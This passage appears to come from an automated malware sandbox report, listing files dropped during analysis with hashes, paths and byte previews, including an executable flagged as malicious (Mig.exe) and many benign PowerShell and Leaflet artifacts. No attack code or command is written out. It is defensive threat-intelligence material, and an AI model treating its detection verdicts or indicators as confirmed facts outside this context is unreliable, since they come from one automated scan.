                                                              Entropy (8bit):0.08123482135273738
                                                              Encrypted:false
                                                              SSDEEP:3:5jlXOetYeHmgK0iB04s061/Dtd1silluxmO+l/SNxOf:Z1rzHDKbB0h00z1VgmOH
                                                              MD5:139354B0C66E75C3EEFE50A653B82609
                                                              SHA1:F96DF81AB87B74C809FE2628E184A0E174D04C2E
                                                              SHA-256:FA58D0D0D471706499D25887654CDA84704935F5F93858017E2F1041CC69298E
                                                              SHA-512:C1B06521598E9DC0DCBC4502663E7353388686E139B52252D774541C6389A7A6EF735992CBAD6BBECA400A735D447DB40ADDA5222677BDEF809A4896D92AC263
                                                              Malicious:false
                                                              Preview:H/.......................................;...{.......|o.8....|..........8....|..8....|...z..8....|o...................s8....|..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                              C:\ProgramData\Mig\Mig.exe

                                                              Download File
                                                              Process:C:\Users\user\AppData\Roaming\LB311.exe
                                                              File Type:PE32+ executable (GUI) x86-64, for MS Windows
                                                              Category:dropped
                                                              Size (bytes):7633920
                                                              Entropy (8bit):7.742593394737428
                                                              Encrypted:false
                                                              SSDEEP:196608:xv/ClQQD6oJpNgmH4N3T0zIE0PGuWuB5wyKy9unVENiKH8G:xS3DpJpNFH8T0xuW+9unVENiKc
                                                              MD5:C4BEF67027DB50C7F4F3A64584FED4A7
                                                              SHA1:F6EEAD2DF8446B1CBE29EB9480FDD66DFB34BD52
                                                              SHA-256:72AC263AC090FE33579C89AAE31A51E14171B2BF4DC1688FE394BACDED2A1C23
                                                              SHA-512:567C58A72A2258785BA27BD3F828B96F1A9B15943E394E1475413957EBFD7F779F21B4C9F94E9FBE9C2C7660778E65725EC542BCA7601D4A18493189D5008859
                                                              Malicious:true
                                                              Antivirus:
                                                              • Antivirus: Joe Sandbox ML, Detection: 100%
                                                              Preview:MZx.....................@...................................x...hr......!..L.!This program cannot be run in DOS mode.$..PE..d...^n.e.........."..........xT................@............................. .......t...`...................................................U.......S.f... ................Q..............................hQ..(................................................... . ..S.......R.................@....rsrc...f.....S.......R.............@....idata ......U.......S.............@... ..7...U.......S.............@...pzdztcxp.. ..@.... ...S.............@...bppmbsab.............xt.............@....pdata.I.............zt.............@..@................................................................................................................................................................................................................................................................................................................................................

                                                              C:\Users\Public\0x1.log

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:Unicode text, UTF-16, little-endian text, with very long lines (361), with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):97286
                                                              Entropy (8bit):3.2472777758702773
                                                              Encrypted:false
                                                              SSDEEP:1536:y9V9q9V9q9V9A9J9v9/9U9U9v9U9A9A9m9v9/9U9U9v9U9v:o
                                                              MD5:A0FCA94248E809A5D706F8D4188FF5B1
                                                              SHA1:3C18D138DFE2B886F5525FA19965ADFF583D20E1
                                                              SHA-256:ACF34F47F095A95215E56CC32392D6577B2F5DC352576FCB9A5D987AB2FE27E1
                                                              SHA-512:4ED094FA8B7FE5721F18F9AEEB3483A0A723FFFEB91E09EDBF54826A96A40F5C1CF53E25783D820BE39DD763B9C38AD33B435D4ADDB6247BC92803C48EBFBDB1
                                                              Malicious:true
                                                              Preview:......'.T.i.k.T.o.k.,. .a.s. .w.e.l.l. .a.s. .o.t.h.e.r. .p.l.a.t.f.o.r.m.s.,. .i.s. .a.c.t.i.v.e.l.y. .f.i.g.h.t.i.n.g. .p.l.a.g.i.a.r.i.s.m.,. .i.m.p.r.o.v.i.n.g. .i.t.s. .a.l.g.o.r.i.t.h.m.s. .a.n.d. .t.r.a.i.n.i.n.g. .A.I. .t.o. .p.r.e.v.e.n.t. .c.o.n.t.e.n.t. .r.e.-.p.o.s.t.i.n.g.,. .b.o.t.h. .f.r.o.m. .o.t.h.e.r. .p.l.a.t.f.o.r.m.s. .a.n.d. .w.i.t.h.i.n. .T.i.k.T.o.k. .i.t.s.e.l.f.......'.F.i.r.s.t. .o.f. .a.l.l.,. .w.h.e.n. .a. .v.i.d.e.o. .i.s. .u.p.l.o.a.d.e.d. .t.o. .T.i.k.T.o.k.,. .i.t. .i.s. .i.n.s.t.a.n.t.l.y. .p.r.o.c.e.s.s.e.d. .b.y. .(.A.I.). .t.h.a.t. .i.d.e.n.t.i.f.i.e.s. .o.b.j.e.c.t.s. .i.n. .t.h.e. .v.i.d.e.o.,. .c.a.t.e.g.o.r.i.z.e.s. .i.t. .a.n.d. .l.o.o.k.s. .f.o.r. .v.i.o.l.a.t.i.o.n.s... .T.h.e. .v.i.d.e.o. .i.s. .t.h.e.n. .c.o.m.p.r.e.s.s.e.d.,. .p.a.r.a.m.e.t.e.r.s. .a.n.d. .m.e.t.a.d.a.t.a. .a.r.e. .c.h.a.n.g.e.d... .I.f. .y.o.u. .d.o.w.n.l.o.a.d. .a.n.d. .u.p.l.o.a.d. .t.h.a.t. .v.i.d.e.o. .a.g.a.i.n.,. .T.T. .i.m.m.e.d.i.a.t.e.l.y. .r.e.c.o.g.n.i.z.e.s. .

                                                              C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\RegSvcs.exe.log

                                                              Download File
                                                              Process:C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exe
                                                              File Type:CSV text
                                                              Category:dropped
                                                              Size (bytes):226
                                                              Entropy (8bit):5.360398796477698
                                                              Encrypted:false
                                                              SSDEEP:6:Q3La/xw5DLIP12MUAvvR+uTL2ql2ABgTv:Q3La/KDLI4MWuPTAv
                                                              MD5:3A8957C6382192B71471BD14359D0B12
                                                              SHA1:71B96C965B65A051E7E7D10F61BEBD8CCBB88587
                                                              SHA-256:282FBEFDDCFAA0A9DBDEE6E123791FC4B8CB870AE9D450E6394D2ACDA3D8F56D
                                                              SHA-512:76C108641F682F785A97017728ED51565C4F74B61B24E190468E3A2843FCC43615C6C8ABE298750AF238D7A44E97C001E3BE427B49900432F905A7CE114AA9AD
                                                              Malicious:false
                                                              Preview:1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..

                                                              C:\Users\user\AppData\Local\Microsoft\Internet Explorer\MSIMGSIZ.DAT

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):49120
                                                              Entropy (8bit):0.0017331682157558962
                                                              Encrypted:false
                                                              SSDEEP:3:Ztt:T
                                                              MD5:0392ADA071EB68355BED625D8F9695F3
                                                              SHA1:777253141235B6C6AC92E17E297A1482E82252CC
                                                              SHA-256:B1313DD95EAF63F33F86F72F09E2ECD700D11159A8693210C37470FCB84038F7
                                                              SHA-512:EF659EEFCAB16221783ECB258D19801A1FF063478698CF4FCE3C9F98059CA7B1D060B0449E6FD89D3B70439D9735FA1D50088568FF46C9927DE45808250AEC2E
                                                              Malicious:false
                                                              Preview:........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\leaflet[1].js

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with very long lines (65384)
                                                              Category:dropped
                                                              Size (bytes):141941
                                                              Entropy (8bit):5.185772023514781
                                                              Encrypted:false
                                                              SSDEEP:1536:vpjOihF8Zozly9q4WoKQRTc2J32OnDIb6Y6JegiXSDXILP7YV4ngL:RjOicd9r6t4eHxtgL
                                                              MD5:4EAA81E6E27A89ED2410A7C39048A397
                                                              SHA1:88A91FF8E6AD782D5BC632D143DB4CBB936DD3B4
                                                              SHA-256:C837347A297C1A35852AA375392CC74950A2B868214E8B1909C4637B8B63EE24
                                                              SHA-512:5D0A1832A3132BC2EF7715D81B79D9E38F213844228257EA909B3534E415E387169D4AC173C3E400E717CB6D30D2F95A5DA55479AAC83818625D9E55DF29F1C0
                                                              Malicious:false
                                                              Preview:/* @preserve. * Leaflet 1.7.1, a JS library for interactive maps. http://leafletjs.com. * (c) 2010-2019 Vladimir Agafonkin, (c) 2010-2011 CloudMade. */.!function(t,i){"object"==typeof exports&&"undefined"!=typeof module?i(exports):"function"==typeof define&&define.amd?define(["exports"],i):i(t.L={})}(this,function(t){"use strict";function h(t){for(var i,e,n=1,o=arguments.length;n<o;n++)for(i in e=arguments[n])t[i]=e[i];return t}var s=Object.create||function(t){return i.prototype=t,new i};function i(){}function p(t,i){var e=Array.prototype.slice;if(t.bind)return t.bind.apply(t,e.call(arguments,1));var n=e.call(arguments,2);return function(){return t.apply(i,n.length?n.concat(e.call(arguments)):arguments)}}var e=0;function m(t){return t._leaflet_id=t._leaflet_id||++e,t._leaflet_id}function n(t,i,e){var n,o,s=function(){n=!1,o&&(r.apply(e,o),o=!1)},r=function(){n?o=arguments:(t.apply(e,arguments),setTimeout(s,i),n=!0)};return r}function o(t,i,e){var n=i[1],o=i[0],s=n-o;return t===n&&e?t:(

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BLNS00AZ\leaflet[1].css

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with CRLF line terminators
                                                              Category:dropped
                                                              Size (bytes):14272
                                                              Entropy (8bit):5.021467890371242
                                                              Encrypted:false
                                                              SSDEEP:192:6zzo0Oh9SVx1lvqrC04i11mdsHnLtcOEAY0x4m8yT2OMhnVhPl4d+yEcBLDLatM3:CUjh9SVB2HLtcpAVnTShnVh5mLDLU8
                                                              MD5:5C761A156EEA82263D8BACF1718FE04D
                                                              SHA1:716E68587CC5720AF3B8AB81B4C8B16DF3E39ADE
                                                              SHA-256:04F7CAF4CE6FDF87365CFEA9D1CC55CF599440BB2DD204CB9349A573B92EA1D0
                                                              SHA-512:C6875904D4C2E67D7B5EDD9AB533EE1351F18D5312BCB556F6872A50A2EC082E425DD6EA0A66E502C84E3004BAFE47AAABFB0C64C675F6C711E0FB190A1491EC
                                                              Malicious:false
                                                              Preview:/* required styles */.....leaflet-pane,...leaflet-tile,...leaflet-marker-icon,...leaflet-marker-shadow,...leaflet-tile-container,...leaflet-pane > svg,...leaflet-pane > canvas,...leaflet-zoom-box,...leaflet-image-layer,...leaflet-layer {...position: absolute;...left: 0;...top: 0;...}...leaflet-container {...overflow: hidden;...}...leaflet-tile,...leaflet-marker-icon,...leaflet-marker-shadow {...-webkit-user-select: none;... -moz-user-select: none;... user-select: none;... -webkit-user-drag: none;...}../* Prevents IE11 from highlighting tiles in blue */...leaflet-tile::selection {...background: transparent;..}../* Safari renders non-retina tile on retina better with this, but Chrome is worse */...leaflet-safari .leaflet-tile {...image-rendering: -webkit-optimize-contrast;...}../* hack that prevents hw layers "stretching" when loading new tiles */...leaflet-safari .leaflet-tile-container {...width: 1600px;...height: 1600px;...-webkit-transform-origin: 0 0;...}...leaflet-marker-

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:data
                                                              Category:dropped
                                                              Size (bytes):8003
                                                              Entropy (8bit):4.840877972214509
                                                              Encrypted:false
                                                              SSDEEP:192:Dxoe5HVsm5emd5VFn3eGOVpN6K3bkkjo5xgkjDt4iWN3yBGHVQ9smzdcU6CDQpOR:J1VoGIpN6KQkj2qkjh4iUx5Uib4J
                                                              MD5:106D01F562D751E62B702803895E93E0
                                                              SHA1:CBF19C2392BDFA8C2209F8534616CCA08EE01A92
                                                              SHA-256:6DBF75E0DB28A4164DB191AD3FBE37D143521D4D08C6A9CEA4596A2E0988739D
                                                              SHA-512:81249432A532959026E301781466650DFA1B282D05C33E27D0135C0B5FD0F54E0AEEADA412B7E461D95A25D43750F802DE3D6878EF0B3E4AB39CC982279F4872
                                                              Malicious:false
                                                              Preview:PSMODULECACHE.....$...z..Y...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PowerShellGet.psd1........Uninstall-Module........inmo........fimo........Install-Module........New-ScriptFileInfo........Publish-Module........Install-Script........Update-Script........Find-Command........Update-ModuleManifest........Find-DscResource........Save-Module........Save-Script........upmo........Uninstall-Script........Get-InstalledScript........Update-Module........Register-PSRepository........Find-Script........Unregister-PSRepository........pumo........Test-ScriptFileInfo........Update-ScriptFileInfo........Set-PSRepository........Get-PSRepository........Get-InstalledModule........Find-Module........Find-RoleCapability........Publish-Script........$...z..T...C:\Program Files (x86)\WindowsPowerShell\Modules\PowerShellGet\1.0.0.1\PSModule.psm1*.......Install-Script........Save-Module........Publish-Module........Find-Module........Download-Package........Update-Module....

                                                              C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:data
                                                              Category:modified
                                                              Size (bytes):64
                                                              Entropy (8bit):0.34726597513537405
                                                              Encrypted:false
                                                              SSDEEP:3:Nlll:Nll
                                                              MD5:446DD1CF97EABA21CF14D03AEBC79F27
                                                              SHA1:36E4CC7367E0C7B40F4A8ACE272941EA46373799
                                                              SHA-256:A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
                                                              SHA-512:A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
                                                              Malicious:false
                                                              Preview:@...e...........................................................

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_1skseonl.kpq.ps1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_a0p3jmt3.yjg.ps1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_c1l35k0x.zwn.ps1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_cxicceof.gxz.ps1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dnb1vcf0.pbt.ps1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ikzcdymc.zal.ps1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ougoktss.h5q.psm1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s3oclvvm.cxn.psm1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_s5y35aty.ucr.psm1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_tqxx2wt1.wqg.psm1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_trauuwdc.pyl.psm1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u0llascf.gvr.psm1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_u10dfzqy.swf.ps1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_uxdpces1.ypz.psm1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ww4mtk0e.e3a.psm1

                                                              Download File
                                                              Process:C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xjx4ihjb.342.psm1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
                                                              SHA1:6AB83620379FC69F80C0242105DDFFD7D98D5D9D
                                                              SHA-256:96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
                                                              SHA-512:5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
                                                              Malicious:false
                                                              Preview:# PowerShell test file to determine AppLocker lockdown mode

                                                              C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xr4ocysw.fhe.ps1

                                                              Download File
                                                              Process:C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                              File Type:ASCII text, with no line terminators
                                                              Category:dropped
                                                              Size (bytes):60
                                                              Entropy (8bit):4.038920595031593
                                                              Encrypted:false
                                                              SSDEEP:3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
                                                              MD5:D17FE0A3F47BE24A6453E9EF58C94641
